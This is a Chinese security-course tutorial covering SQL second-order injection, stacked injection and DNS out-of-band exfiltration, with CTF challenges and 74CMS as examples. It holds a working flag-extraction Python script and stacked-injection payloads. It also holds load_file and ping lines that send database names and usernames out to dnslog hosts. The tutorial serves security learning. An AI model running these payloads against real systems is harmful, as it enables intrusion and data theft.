小迪安全30WEB 攻防-通用漏洞&SQL 注入&CTF&二次&堆叠&DNS 带外

#知识点:

1、数据库堆叠注入

根据数据库类型决定是否支持多条语句执行

2、数据库二次注入

应用功能逻辑涉及上导致的先写入后组合的注入

3、数据库 Dnslog 注入

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等

4、黑盒模式分析以上

二次注入:插入后调用显示操作符合

堆叠注入:判断注入后直接调多条执行

DNS 注入:在注入上没太大利用价值,其他还行

#二次注入-74CMS&网鼎杯 2018Unfinish

比如:找回密码功能:

得到你的用户名(你找回谁的密码)

进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

接受获取你的用户名,修改密码update

但如果在注册用户名时,写了一个SQL注入的语句

则当进行修改密码时,会对用户名进行调用

即:update user set password='xiaodi' where username='SQL注入代码'

从而形成注入点

CTF-[网鼎杯 2018]Unfinish-黑盒

先进入register.php页面

通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

分析:

注册用户:添加insert

Insert into user(email,username,password) value('3178151661245@qq.com','AT','123456')

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email='31781511245@qq.com'

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

我们这里使用.py进行制造payload

import requests

from bs4 import BeautifulSoup

import time

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

m = ''

for i in range(100):

payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)

register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

req = requests.session()

r1 = req.post(url+'register.php',data = register)

r2 = req.post(url+'login.php', data = login)

r3 = req.post(url+'index.php')

html = r3.text

soup = BeautifulSoup(html,'html.parser')

UserName = soup.span.string.strip()

if int(UserName) == 0:

break

m += chr(int(UserName))

print(m)

time.sleep(1)

CMS-74CMS 个人会员中心-黑白盒

黑盒:

对学校名称进行注入

我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value ('xiaodi',address=user#)

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

抓学校地址该网页的包,并进行查看其相关函数 make4_save

发现有SQL语句------insert:会把修改的内容插入到数据库的相关位置

对其SQL语句进行监听

#堆叠注入-数据库类型&强网杯 2019 随便注

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

';SeT

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531

3460;prepare execsql from @a;execute execsql;

#DNS 利用-平台介绍&SQL 注入&命令执行等

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

基本只针对于MYSQL------load_file

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等

SQL 注入:

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));

and (select load_file(concat('//',(select

database()),'.69knl9.dnslog.cn/abc')))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

接受的主机的username

相关推荐
星光一影2 小时前
HIS系统天花板,十大核心模块,门诊/住院/医保全流程打通,医院数字化转型首选
java·spring boot·后端·sql·elementui·html·scss
火白学安全2 小时前
《Python红队攻防脚本零基础编写:入门篇(一)》
python·安全·web安全·网络安全·系统安全
携欢2 小时前
PortSwigger靶场之Exploiting server-side parameter pollution in a REST URL通关秘籍
前端·javascript·安全
啊吧怪不啊吧2 小时前
初识SQL
服务器·数据库·sql
好家伙VCC3 小时前
**发散创新:渗透测试方法的深度探索与实践**随着网络安全形势日益严峻,渗透测试作为评估系统安全的
java·python·安全·web安全·系统安全
yuniko-n3 小时前
【力扣 SQL 50】连接
数据库·后端·sql·算法·leetcode
人邮异步社区3 小时前
内网攻防实战图谱:从红队视角构建安全对抗体系
网络·安全·web安全
自己收藏学习3 小时前
统计订单总数并列出排名
数据库·sql·mysql
胡耀超4 小时前
大数据平台安全指南——大数据平台安全架构全景:从认证授权到数据治理的企业级实践指南——认证、授权、审计、加密四大支柱
安全·数据治理·数据安全·权限管理·安全架构·hadoop生态·合规审计
青山撞入怀11146 小时前
sql题目练习——聚合函数
数据库·sql